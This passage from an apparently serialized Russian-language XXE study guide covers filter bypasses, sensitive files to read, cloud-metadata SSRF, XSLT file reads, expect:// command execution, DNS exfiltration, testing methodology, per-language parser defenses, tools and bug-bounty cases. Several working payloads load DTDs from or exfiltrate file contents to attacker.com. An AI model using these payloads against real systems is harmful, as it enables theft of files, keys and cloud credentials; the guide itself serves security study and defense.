",[48,7479,2056],{},[48,7481,7482],{},"&",[48,7484,7485],{},"]]>"," — парсер ломается.",[41,7488,7491],{"className":7489,"code":7490,"language":46},[44],"file:\u002F\u002F\u002Fetc\u002Fpasswd             ✅  — нет спецсимволов\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fconfig.php     ❌  — полно \u003C и &\nfile:\u002F\u002F\u002Fetc\u002Ffstab              ❌  — могут быть &\n",[48,7492,7490],{"__ignoreMap":50},[36,7494,7496],{"id":7495},"обход-1-php-фильтр-если-сервер-на-php","Обход 1: PHP-фильтр (если сервер на PHP)",[41,7498,7500],{"className":3129,"code":7499,"language":3131,"meta":50,"style":50},"\u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n",[48,7501,7502],{"__ignoreMap":50},[308,7503,7504],{"class":310,"line":311},[308,7505,7499],{},[21,7507,7508],{},"Файл приходит в base64 — никаких спецсимволов. Декодируешь на своей стороне.",[36,7510,7512],{"id":7511},"обход-2-cdata-обёртка-через-parameter-entities","Обход 2: CDATA-обёртка через parameter entities",[21,7514,7515],{},"evil.dtd:",[41,7517,7519],{"className":3129,"code":7518,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n\u003C!ENTITY % start \"\u003C![CDATA[\">\n\u003C!ENTITY % end \"]]>\">\n\u003C!ENTITY % all \"\u003C!ENTITY wrapped '%start;%file;%end;'>\">\n%all;\n",[48,7520,7521,7526,7531,7536,7541],{"__ignoreMap":50},[308,7522,7523],{"class":310,"line":311},[308,7524,7525],{},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n",[308,7527,7528],{"class":310,"line":98},[308,7529,7530],{},"\u003C!ENTITY % start \"\u003C![CDATA[\">\n",[308,7532,7533],{"class":310,"line":104},[308,7534,7535],{},"\u003C!ENTITY % end \"]]>\">\n",[308,7537,7538],{"class":310,"line":1327},[308,7539,7540],{},"\u003C!ENTITY % all \"\u003C!ENTITY wrapped '%start;%file;%end;'>\">\n",[308,7542,7543],{"class":310,"line":1336},[308,7544,6947],{},[21,7546,7547],{},"Основной XML:",[41,7549,7551],{"className":3129,"code":7550,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Cfoo>&wrapped;\u003C\u002Ffoo>\n",[48,7552,7553,7557,7561,7565,7569,7573],{"__ignoreMap":50},[308,7554,7555],{"class":310,"line":311},[308,7556,3138],{},[308,7558,7559],{"class":310,"line":98},[308,7560,3143],{},[308,7562,7563],{"class":310,"line":104},[308,7564,3181],{},[308,7566,7567],{"class":310,"line":1327},[308,7568,3186],{},[308,7570,7571],{"class":310,"line":1336},[308,7572,3153],{},[308,7574,7575],{"class":310,"line":1349},[308,7576,7577],{},"\u003Cfoo>&wrapped;\u003C\u002Ffoo>\n",[21,7579,7580,7581,7584],{},"Содержимое файла оборачивается в ",[48,7582,7583],{},"CDATA"," → парсер не интерпретирует спецсимволы.",[36,7586,7588],{"id":7587},"обход-3-протокол-jar-java","Обход 3: Протокол jar:\u002F\u002F (Java)",[41,7590,7593],{"className":7591,"code":7592,"language":46},[44],"jar:http:\u002F\u002Fattacker.com\u002Fevil.jar!\u002Ffile.txt\n",[48,7594,7592],{"__ignoreMap":50},[21,7596,7597],{},"Java-специфичный — скачивает архив, распаковывает, читает файл внутри. Может использоваться для обхода ограничений на протоколы.",[1997,7599],{},[16,7601,7603],{"id":7602},"_8-эксплуатация-что-читать","8. Эксплуатация: что читать",[36,7605,7607],{"id":7606},"системные-файлы","Системные файлы",[21,7609,7610],{},[637,7611,7612],{},"Linux:",[41,7614,7617],{"className":7615,"code":7616,"language":46},[44],"file:\u002F\u002F\u002Fetc\u002Fpasswd\nfile:\u002F\u002F\u002Fetc\u002Fshadow              — хеши паролей (нужен root)\nfile:\u002F\u002F\u002Fetc\u002Fhostname\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron       — переменные окружения (секреты, ключи)\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fcmdline       — аргументы процесса\nfile:\u002F\u002F\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa   — приватный SSH-ключ\nfile:\u002F\u002F\u002Fhome\u002Fuser\u002F.bash_history — история команд\n",[48,7618,7616],{"__ignoreMap":50},[21,7620,7621],{},[637,7622,7623],{},"Windows:",[41,7625,7628],{"className":7626,"code":7627,"language":46},[44],"file:\u002F\u002F\u002FC:\u002FWindows\u002Fwin.ini\nfile:\u002F\u002F\u002FC:\u002FWindows\u002FSystem32\u002Fdrivers\u002Fetc\u002Fhosts\nfile:\u002F\u002F\u002FC:\u002FUsers\u002FAdministrator\u002F.ssh\u002Fid_rsa\nfile:\u002F\u002F\u002FC:\u002Finetpub\u002Fwwwroot\u002Fweb.config\n",[48,7629,7627],{"__ignoreMap":50},[36,7631,7633],{"id":7632},"конфиги-приложений","Конфиги приложений",[41,7635,7638],{"className":7636,"code":7637,"language":46},[44],"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002F.env\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\nfile:\u002F\u002F\u002Fopt\u002Fapp\u002Fapplication.properties     — Spring Boot\nfile:\u002F\u002F\u002Fopt\u002Fapp\u002Fapplication.yml\nfile:\u002F\u002F\u002Fetc\u002Fnginx\u002Fnginx.conf\nfile:\u002F\u002F\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n",[48,7639,7637],{"__ignoreMap":50},[36,7641,7643],{"id":7642},"cloud-metadata-xxe-ssrf","Cloud metadata (XXE → SSRF)",[41,7645,7648],{"className":7646,"code":7647,"language":46},[44],"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F  — AWS\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F                — GCP\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance                           — Azure\n",[48,7649,7647],{"__ignoreMap":50},[21,7651,7652,7653,426],{},"Подробнее о SSRF: ",[24,7654,5477],{"href":5476},[1997,7656],{},[16,7658,7660],{"id":7659},"_9-xxe-через-xslt","9. XXE через XSLT",[21,7662,7663,7664,7667],{},"Если сервер выполняет XSLT-трансформацию, функция ",[48,7665,7666],{},"document()"," в XSLT может использоваться для чтения файлов и HTTP-запросов — аналогично XXE, но через другой механизм. Это отдельная поверхность атаки, не связанная с DTD и entities.",[36,7669,7671],{"id":7670},"чтение-файлов-через-xslt","Чтение файлов через XSLT",[41,7673,7675],{"className":3129,"code":7674,"language":3131,"meta":50,"style":50},"\u003Cxsl:stylesheet xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\" version=\"1.0\">\n  \u003Cxsl:template match=\"\u002F\">\n    \u003Cxsl:copy-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n  \u003C\u002Fxsl:template>\n\u003C\u002Fxsl:stylesheet>\n",[48,7676,7677,7682,7687,7692,7697],{"__ignoreMap":50},[308,7678,7679],{"class":310,"line":311},[308,7680,7681],{},"\u003Cxsl:stylesheet xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\" version=\"1.0\">\n",[308,7683,7684],{"class":310,"line":98},[308,7685,7686],{},"  \u003Cxsl:template match=\"\u002F\">\n",[308,7688,7689],{"class":310,"line":104},[308,7690,7691],{},"    \u003Cxsl:copy-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n",[308,7693,7694],{"class":310,"line":1327},[308,7695,7696],{},"  \u003C\u002Fxsl:template>\n",[308,7698,7699],{"class":310,"line":1336},[308,7700,7701],{},"\u003C\u002Fxsl:stylesheet>\n",[36,7703,7705],{"id":7704},"ssrf-через-xslt","SSRF через XSLT",[41,7707,7709],{"className":3129,"code":7708,"language":3131,"meta":50,"style":50},"\u003Cxsl:stylesheet xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\" version=\"1.0\">\n  \u003Cxsl:template match=\"\u002F\">\n    \u003Cxsl:copy-of select=\"document('http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F')\"\u002F>\n  \u003C\u002Fxsl:template>\n\u003C\u002Fxsl:stylesheet>\n",[48,7710,7711,7715,7719,7724,7728],{"__ignoreMap":50},[308,7712,7713],{"class":310,"line":311},[308,7714,7681],{},[308,7716,7717],{"class":310,"line":98},[308,7718,7686],{},[308,7720,7721],{"class":310,"line":104},[308,7722,7723],{},"    \u003Cxsl:copy-of select=\"document('http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F')\"\u002F>\n",[308,7725,7726],{"class":310,"line":1327},[308,7727,7696],{},[308,7729,7730],{"class":310,"line":1336},[308,7731,7701],{},[36,7733,7735],{"id":7734},"почему-это-работает","Почему это работает",[21,7737,7738,7739,7741,7742,3483,7744,426],{},"XSLT-процессоры (Xalan, Saxon, libxslt) по умолчанию разрешают ",[48,7740,7666],{},". Функция предназначена для загрузки дополнительных XML-документов во время трансформации, но поддерживает произвольные URI — включая ",[48,7743,2355],{},[48,7745,3283],{},[21,7747,7748],{},"Важно: даже если приложение полностью отключило DTD и external entities в XML-парсере, XSLT-трансформация может оставаться уязвимой. Это два разных механизма, и защита от одного не защищает от другого.",[1997,7750],{},[16,7752,7754],{"id":7753},"_10-связки-с-другими-уязвимостями","10. Связки с другими уязвимостями",[21,7756,7757],{},"XXE редко существует в вакууме — часто эксплуатация строится на цепочке с другими уязвимостями:",[2277,7759,7760,7770],{},[2280,7761,7762],{},[2283,7763,7764,7766,7768],{},[2286,7765,3250],{},[2286,7767,2291],{},[2286,7769,3255],{},[2293,7771,7772,7785,7798,7811,7829],{},[2283,7773,7774,7778,7782],{},[2298,7775,7776],{},[637,7777,3277],{},[2298,7779,3280,7780,3284],{},[48,7781,3283],{},[2298,7783,7784],{},"Cloud metadata, внутренние сервисы",[2283,7786,7787,7792,7795],{},[2298,7788,7789],{},[637,7790,7791],{},"XXE → LFI",[2298,7793,7794],{},"Чтение исходного кода → поиск новых уязвимостей",[2298,7796,7797],{},"Раскрытие секретов, дальнейшая эскалация",[2283,7799,7800,7805,7808],{},[2298,7801,7802],{},[637,7803,7804],{},"Blind XXE + DNS",[2298,7806,7807],{},"DNS exfiltration работает даже через строгие HTTP-файерволы",[2298,7809,7810],{},"Подтверждение уязвимости, медленная эксфильтрация",[2283,7812,7813,7818,7826],{},[2298,7814,7815],{},[637,7816,7817],{},"XXE → RCE",[2298,7819,7820,7822,7823,7825],{},[48,7821,6397],{}," (PHP), ",[48,7824,2484],{}," цепочки, XSLT code execution",[2298,7827,7828],{},"Полный контроль сервера",[2283,7830,7831,7835,7838],{},[2298,7832,7833],{},[637,7834,3264],{},[2298,7836,7837],{},"SSRF на внутренний сервис, парсящий XML",[2298,7839,7840],{},"Чтение локальных файлов внутреннего сервера",[36,7842,7844],{"id":7843},"xxe-rce-php-expect","XXE → RCE (PHP + expect)",[21,7846,7847,7848,7850],{},"URI-схема ",[48,7849,6397],{}," в PHP выполняет shell-команды:",[41,7852,7854],{"className":3129,"code":7853,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"expect:\u002F\u002Fid\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[48,7855,7856,7860,7864,7869,7873],{"__ignoreMap":50},[308,7857,7858],{"class":310,"line":311},[308,7859,3138],{},[308,7861,7862],{"class":310,"line":98},[308,7863,3143],{},[308,7865,7866],{"class":310,"line":104},[308,7867,7868],{},"  \u003C!ENTITY xxe SYSTEM \"expect:\u002F\u002Fid\">\n",[308,7870,7871],{"class":310,"line":1327},[308,7872,3153],{},[308,7874,7875],{"class":310,"line":1336},[308,7876,6549],{},[21,7878,7879,7880,7883,7884,7887],{},"Если сервер возвращает ",[48,7881,7882],{},"uid=33(www-data)..."," — это RCE. Условия: PHP + загруженное расширение ",[48,7885,7886],{},"expect",". Редко встречается в продакшне, часто — в CTF.",[36,7889,7891],{"id":7890},"dns-exfiltration","DNS exfiltration",[21,7893,7894],{},"Когда HTTP-исходящие полностью заблокированы, DNS-запросы часто проходят:",[41,7896,7898],{"className":3129,"code":7897,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002F%file;.attacker.com\u002F'>\">\n%eval;\n",[48,7899,7900,7905,7910],{"__ignoreMap":50},[308,7901,7902],{"class":310,"line":311},[308,7903,7904],{},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n",[308,7906,7907],{"class":310,"line":98},[308,7908,7909],{},"\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002F%file;.attacker.com\u002F'>\">\n",[308,7911,7912],{"class":310,"line":104},[308,7913,6573],{},[21,7915,7916],{},"Данные приходят как поддомен в DNS-запросе — можно отслеживать через Burp Collaborator или interactsh.",[21,7918,7652,7919,426],{},[24,7920,5477],{"href":5476},[1997,7922],{},[16,7924,7926],{"id":7925},"_11-методология-тестирования","11. Методология тестирования",[36,7928,7930],{"id":7929},"шаг-1-обнаружение-точек-входа","Шаг 1: Обнаружение точек входа",[748,7932,7933,7936,7939,7946],{},[333,7934,7935],{},"Найти все эндпоинты, принимающие XML (Content-Type, SOAP, файлы)",[333,7937,7938],{},"Проверить загрузку файлов: SVG, DOCX, XLSX, XML",[333,7940,7941,7942,7945],{},"Попробовать ",[637,7943,7944],{},"подменить Content-Type"," с JSON на XML",[333,7947,7948],{},"Проверить SAML-эндпоинты",[36,7950,7952],{"id":7951},"шаг-2-проверка-обработки-dtd","Шаг 2: Проверка обработки DTD",[21,7954,7955],{},"Отправь безвредный payload — если парсер обрабатывает DTD, XXE возможна:",[41,7957,7959],{"className":3129,"code":7958,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe \"testvalue\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[48,7960,7961,7965,7969,7974,7978],{"__ignoreMap":50},[308,7962,7963],{"class":310,"line":311},[308,7964,3138],{},[308,7966,7967],{"class":310,"line":98},[308,7968,3143],{},[308,7970,7971],{"class":310,"line":104},[308,7972,7973],{},"  \u003C!ENTITY xxe \"testvalue\">\n",[308,7975,7976],{"class":310,"line":1327},[308,7977,3153],{},[308,7979,7980],{"class":310,"line":1336},[308,7981,6549],{},[21,7983,7984,7985,7988],{},"Если в ответе ",[48,7986,7987],{},"testvalue"," → DTD обрабатывается → пробуем external entity.",[36,7990,3410],{"id":3409},[2277,7992,7993,8005],{},[2280,7994,7995],{},[2283,7996,7997,8000,8002],{},[2286,7998,7999],{},"Ситуация",[2286,8001,6432],{},[2286,8003,8004],{},"Подход",[2293,8006,8007,8020,8031,8042],{},[2283,8008,8009,8012,8015],{},[2298,8010,8011],{},"Ответ парсера виден",[2298,8013,8014],{},"Classic",[2298,8016,8017],{},[48,8018,8019],{},"SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"",[2283,8021,8022,8025,8028],{},[2298,8023,8024],{},"Ответ не виден, исходящие разрешены",[2298,8026,8027],{},"Blind OOB",[2298,8029,8030],{},"Parameter entities + внешний DTD",[2283,8032,8033,8036,8039],{},[2298,8034,8035],{},"Ответ не виден, исходящие заблокированы",[2298,8037,8038],{},"Blind Error-based",[2298,8040,8041],{},"Ошибка с данными или локальный DTD",[2283,8043,8044,8047,8050],{},[2298,8045,8046],{},"Не контролируешь DOCTYPE",[2298,8048,8049],{},"XInclude",[2298,8051,8052],{},[48,8053,8054],{},"xi:include",[36,8056,5577],{"id":5576},[41,8058,8061],{"className":8059,"code":8060,"language":46},[44],"1. file:\u002F\u002F\u002Fetc\u002Fpasswd              → подтверждение чтения файлов\n2. file:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron       → секреты из env\n3. file:\u002F\u002F\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa   → SSH-ключи\n4. http:\u002F\u002F169.254.169.254\u002F...      → cloud credentials\n5. http:\u002F\u002Finternal:PORT\u002F...        → SSRF к внутренним сервисам\n6. php:\u002F\u002Ffilter\u002F...                → чтение PHP-кода (base64)\n",[48,8062,8060],{"__ignoreMap":50},[36,8064,5593],{"id":5592},[748,8066,8067,8079,8082,8085,8088,8091,8094,8097],{},[333,8068,8069,8070,973,8072,973,8074,973,8077],{},"Попробуй другие протоколы: ",[48,8071,2355],{},[48,8073,3283],{},[48,8075,8076],{},"php:\u002F\u002F",[48,8078,2484],{},[333,8080,8081],{},"Попробуй parameter entities вместо general",[333,8083,8084],{},"Попробуй XInclude",[333,8086,8087],{},"Попробуй error-based подход",[333,8089,8090],{},"Попробуй через файлы (SVG, DOCX)",[333,8092,8093],{},"Проверь другие Content-Type",[333,8095,8096],{},"Попробуй UTF-16-кодирование (некоторые фильтры проверяют DOCTYPE только в ASCII)",[333,8098,8099],{},"Разбей payload на несколько определений сущностей",[1997,8101],{},[16,8103,8105],{"id":8104},"_12-защита-от-xxe","12. Защита от XXE",[36,8107,8109],{"id":8108},"правильный-подход-отключить-dtdвнешние-сущности","Правильный подход — отключить DTD\u002Fвнешние сущности",[21,8111,8112],{},[637,8113,8114],{},"Java (DocumentBuilderFactory) — самый надёжный:",[41,8116,8120],{"className":8117,"code":8118,"language":8119,"meta":50,"style":50},"language-java shiki shiki-themes github-light github-dark","\u002F\u002F Запретить DOCTYPE целиком\nfactory.setFeature(\"http:\u002F\u002Fapache.org\u002Fxml\u002Ffeatures\u002Fdisallow-doctype-decl\", true);\n","java",[48,8121,8122,8127],{"__ignoreMap":50},[308,8123,8124],{"class":310,"line":311},[308,8125,8126],{},"\u002F\u002F Запретить DOCTYPE целиком\n",[308,8128,8129],{"class":310,"line":98},[308,8130,8131],{},"factory.setFeature(\"http:\u002F\u002Fapache.org\u002Fxml\u002Ffeatures\u002Fdisallow-doctype-decl\", true);\n",[21,8133,8134],{},[637,8135,8136],{},"Java (SAXParserFactory):",[41,8138,8139],{"className":8117,"code":8131,"language":8119,"meta":50,"style":50},[48,8140,8141],{"__ignoreMap":50},[308,8142,8143],{"class":310,"line":311},[308,8144,8131],{},[21,8146,8147],{},[637,8148,8149],{},"Python (lxml):",[41,8151,8153],{"className":4070,"code":8152,"language":1144,"meta":50,"style":50},"parser = etree.XMLParser(resolve_entities=False, no_network=True)\n",[48,8154,8155],{"__ignoreMap":50},[308,8156,8157],{"class":310,"line":311},[308,8158,8152],{},[21,8160,8161],{},[637,8162,8163],{},"PHP:",[41,8165,8167],{"className":302,"code":8166,"language":304,"meta":50,"style":50},"libxml_disable_entity_loader(true);  \u002F\u002F PHP \u003C 8.0\n\u002F\u002F В PHP 8.0+ внешние сущности отключены по умолчанию\n",[48,8168,8169,8174],{"__ignoreMap":50},[308,8170,8171],{"class":310,"line":311},[308,8172,8173],{},"libxml_disable_entity_loader(true);  \u002F\u002F PHP \u003C 8.0\n",[308,8175,8176],{"class":310,"line":98},[308,8177,8178],{},"\u002F\u002F В PHP 8.0+ внешние сущности отключены по умолчанию\n",[21,8180,8181],{},[637,8182,8183],{},"C# (.NET):",[41,8185,8189],{"className":8186,"code":8187,"language":8188,"meta":50,"style":50},"language-csharp shiki shiki-themes github-light github-dark","XmlReaderSettings settings = new XmlReaderSettings();\nsettings.DtdProcessing = DtdProcessing.Prohibit;\n","csharp",[48,8190,8191,8196],{"__ignoreMap":50},[308,8192,8193],{"class":310,"line":311},[308,8194,8195],{},"XmlReaderSettings settings = new XmlReaderSettings();\n",[308,8197,8198],{"class":310,"line":98},[308,8199,8200],{},"settings.DtdProcessing = DtdProcessing.Prohibit;\n",[21,8202,8203],{},[637,8204,8205],{},"Ruby (Nokogiri):",[41,8207,8211],{"className":8208,"code":8209,"language":8210,"meta":50,"style":50},"language-ruby shiki shiki-themes github-light github-dark","Nokogiri::XML(xml) { |config| config.nonet }\n","ruby",[48,8212,8213],{"__ignoreMap":50},[308,8214,8215],{"class":310,"line":311},[308,8216,8209],{},[36,8218,8220],{"id":8219},"ловушка-libxml_noent-в-php","Ловушка: LIBXML_NOENT в PHP",[41,8222,8224],{"className":302,"code":8223,"language":304,"meta":50,"style":50},"\u002F\u002F УЯЗВИМО — ВКЛЮЧАЕТ подстановку сущностей:\n$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);\n\n\u002F\u002F БЕЗОПАСНО — без флага:\n$doc = simplexml_load_string($xml);\n",[48,8225,8226,8231,8236,8240,8245],{"__ignoreMap":50},[308,8227,8228],{"class":310,"line":311},[308,8229,8230],{},"\u002F\u002F УЯЗВИМО — ВКЛЮЧАЕТ подстановку сущностей:\n",[308,8232,8233],{"class":310,"line":98},[308,8234,8235],{},"$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);\n",[308,8237,8238],{"class":310,"line":104},[308,8239,1636],{"emptyLinePlaceholder":112},[308,8241,8242],{"class":310,"line":1327},[308,8243,8244],{},"\u002F\u002F БЕЗОПАСНО — без флага:\n",[308,8246,8247],{"class":310,"line":1336},[308,8248,8249],{},"$doc = simplexml_load_string($xml);\n",[21,8251,8252,8255,8256,8259],{},[48,8253,8254],{},"LIBXML_NOENT"," = \"подставляй значения сущностей в текст\" → парсер ",[637,8257,8258],{},"резолвит"," external entities → XXE.",[21,8261,8262,8263,8266],{},"Название обманчиво: \"NO ENT\" кажется = \"нет сущностей\", но на деле = \"нет сущностей ",[637,8264,8265],{},"в выводе","\" (заменяй их значениями).",[36,8268,8270],{"id":8269},"дефолты-парсеров-по-языкам-и-версиям","Дефолты парсеров по языкам и версиям",[2277,8272,8273,8289],{},[2280,8274,8275],{},[2283,8276,8277,8280,8283,8286],{},[2286,8278,8279],{},"Язык \u002F Библиотека",[2286,8281,8282],{},"Безопасен по умолчанию?",[2286,8284,8285],{},"С какой версии",[2286,8287,8288],{},"Примечание",[2293,8290,8291,8308,8322,8342,8363,8382,8397,8412,8428,8446],{},[2283,8292,8293,8299,8302,8305],{},[2298,8294,8295,8296],{},"Java ",[48,8297,8298],{},"DocumentBuilderFactory",[2298,8300,8301],{},"Нет",[2298,8303,8304],{},"—",[2298,8306,8307],{},"Нужна явная настройка даже в Java 17+",[2283,8309,8310,8315,8317,8319],{},[2298,8311,8295,8312],{},[48,8313,8314],{},"SAXParserFactory",[2298,8316,8301],{},[2298,8318,8304],{},[2298,8320,8321],{},"Аналогично",[2283,8323,8324,8330,8333,8336],{},[2298,8325,8326,8327],{},"PHP ",[48,8328,8329],{},"simplexml_load_string",[2298,8331,8332],{},"Да",[2298,8334,8335],{},"PHP 8.0+",[2298,8337,8338,8339],{},"В PHP \u003C8 нужен ",[48,8340,8341],{},"libxml_disable_entity_loader(true)",[2283,8343,8344,8349,8354,8356],{},[2298,8345,8346,8347],{},"PHP + ",[48,8348,8254],{},[2298,8350,8351],{},[637,8352,8353],{},"НЕТ!",[2298,8355,8304],{},[2298,8357,8358,8359,8362],{},"Флаг ",[637,8360,8361],{},"включает"," подстановку entities (ловушка)",[2283,8364,8365,8371,8373,8376],{},[2298,8366,8367,8368],{},"Python ",[48,8369,8370],{},"lxml",[2298,8372,8332],{},[2298,8374,8375],{},"4.6+",[2298,8377,8378,8381],{},[48,8379,8380],{},"resolve_entities=False, no_network=True"," по умолчанию",[2283,8383,8384,8389,8391,8394],{},[2298,8385,8367,8386],{},[48,8387,8388],{},"defusedxml",[2298,8390,8332],{},[2298,8392,8393],{},"всегда",[2298,8395,8396],{},"Специально создан для безопасного парсинга",[2283,8398,8399,8404,8407,8409],{},[2298,8400,8367,8401],{},[48,8402,8403],{},"xml.etree.ElementTree",[2298,8405,8406],{},"Частично",[2298,8408,8304],{},[2298,8410,8411],{},"Не поддерживает external entities, но уязвим к Billion Laughs",[2283,8413,8414,8420,8422,8425],{},[2298,8415,8416,8417],{},".NET ",[48,8418,8419],{},"XmlReader",[2298,8421,8332],{},[2298,8423,8424],{},".NET Core",[2298,8426,8427],{},"В .NET Framework зависит от версии",[2283,8429,8430,8436,8438,8441],{},[2298,8431,8432,8433],{},"Ruby ",[48,8434,8435],{},"Nokogiri",[2298,8437,8332],{},[2298,8439,8440],{},"1.13+",[2298,8442,8443,8381],{},[48,8444,8445],{},"NONET",[2283,8447,8448,8451,8453,8456],{},[2298,8449,8450],{},"libxml2",[2298,8452,8332],{},[2298,8454,8455],{},"2.9+",[2298,8457,4616,8458,8460],{},[48,8459,8254],{}," ломает защиту",[36,8462,5707],{"id":5706},[330,8464,8465,8471,8477,8483,8489,8495,8500,8506],{},[333,8466,8467,8470],{},[637,8468,8469],{},"Отключай DTD целиком"," — не пытайся фильтровать отдельные сущности",[333,8472,8473,8476],{},[637,8474,8475],{},"Не доверяй дефолтам"," — во многих языках external entities включены по умолчанию",[333,8478,8479,8482],{},[637,8480,8481],{},"Валидируй Content-Type"," — не принимай XML если не ожидаешь",[333,8484,8485,8488],{},[637,8486,8487],{},"Парси файлы безопасно"," — SVG, DOCX, XLSX парсить с отключёнными entities",[333,8490,8491,8494],{},[637,8492,8493],{},"Не фильтруй входные данные"," — фильтры обходятся (UTF-16, parametric entities)",[333,8496,8497],{},[637,8498,8499],{},"Не используй XML там, где подойдёт JSON",[333,8501,8502,8505],{},[637,8503,8504],{},"Проверяй парсеры всех форматов",", которые могут содержать XML: SVG, DOCX, XLSX, SAML",[333,8507,8508,8511],{},[637,8509,8510],{},"Следи за конкретными версиями"," библиотек и их дефолтами — не полагайся на \"наверное безопасен\"",[1997,8513],{},[16,8515,8517],{"id":8516},"_13-оценка-severity","13. Оценка Severity",[2277,8519,8520,8528],{},[2280,8521,8522],{},[2283,8523,8524,8526],{},[2286,8525,3652],{},[2286,8527,3655],{},[2293,8529,8530,8539,8552,8561],{},[2283,8531,8532,8536],{},[2298,8533,8534],{},[637,8535,3664],{},[2298,8537,8538],{},"Чтение произвольных файлов с секретами, cloud credentials через SSRF, RCE через цепочку",[2283,8540,8541,8545],{},[2298,8542,8543],{},[637,8544,3674],{},[2298,8546,8547,8548,8551],{},"Чтение системных файлов (",[48,8549,8550],{},"\u002Fetc\u002Fpasswd",", конфиги), SSRF к внутренней сети",[2283,8553,8554,8558],{},[2298,8555,8556],{},[637,8557,3684],{},[2298,8559,8560],{},"Blind XXE с ограниченной эксфильтрацией, SSRF только к определённым хостам",[2283,8562,8563,8567],{},[2298,8564,8565],{},[637,8566,3694],{},[2298,8568,8569],{},"Только DoS (Billion Laughs), DTD обрабатывается но external entities заблокированы",[1997,8571],{},[16,8573,8575],{"id":8574},"_14-инструменты","14. Инструменты",[2277,8577,8578,8586],{},[2280,8579,8580],{},[2283,8581,8582,8584],{},[2286,8583,3712],{},[2286,8585,3715],{},[2293,8587,8588,8597,8606,8616,8626,8636],{},[2283,8589,8590,8594],{},[2298,8591,8592],{},[637,8593,5892],{},[2298,8595,8596],{},"Перехват запросов, подмена Content-Type, тестирование payload'ов",[2283,8598,8599,8603],{},[2298,8600,8601],{},[637,8602,5902],{},[2298,8604,8605],{},"Подтверждение blind XXE (OOB-callback)",[2283,8607,8608,8613],{},[2298,8609,8610],{},[637,8611,8612],{},"XXEinjector",[2298,8614,8615],{},"Автоматизация XXE-эксплуатации (OOB, error-based)",[2283,8617,8618,8623],{},[2298,8619,8620],{},[637,8621,8622],{},"oxml_xxe",[2298,8624,8625],{},"Генерация DOCX\u002FXLSX\u002FPPTX с XXE-payload",[2283,8627,8628,8633],{},[2298,8629,8630],{},[637,8631,8632],{},"docem",[2298,8634,8635],{},"Встраивание XXE в DOCX\u002FXLSX\u002FODT",[2283,8637,8638,8642],{},[2298,8639,8640],{},[637,8641,6995],{},[2298,8643,8644],{},"Быстрый сервер для приёма OOB и отдачи evil.dtd",[1997,8646],{},[16,8648,8650],{"id":8649},"_15-известные-кейсы","15. Известные кейсы",[21,8652,8653,8656,8657,8659],{},[637,8654,8655],{},"Facebook (2014, Bug Bounty):","\nBlind XXE через загрузку DOCX в карьерном портале → чтение ",[48,8658,8550],{},". Баунти $30,000+.",[21,8661,8662,8664],{},[637,8663,6035],{},"\nXXE в SAML-парсере → чтение произвольных файлов с сервера.",[21,8666,8667,8670],{},[637,8668,8669],{},"Google (2014, Bug Bounty):","\nXXE через загрузку XLSX в Google Toolbar button gallery.",[21,8672,8673,8675],{},[637,8674,6055],{},"\nXXE через SVG в загрузке аватаров — распространённый паттерн в реальных приложениях.",[1997,8677],{},[16,8679,8681],{"id":8680},"_16-qa-вопросы-для-подготовки","16. Q&A — Вопросы для подготовки",[36,8683,8685],{"id":8684},"_1-что-такое-xxe-1","1. Что такое XXE?",[21,8687,8688,8689,8691],{},"Уязвимость в XML-парсерах, при которой парсер резолвит внешние сущности (external entities), определённые в DTD. Атакующий указывает URI через ",[48,8690,6383],{}," — парсер автоматически загружает содержимое файла или URL и подставляет его в документ. Это не баг в коде приложения — это 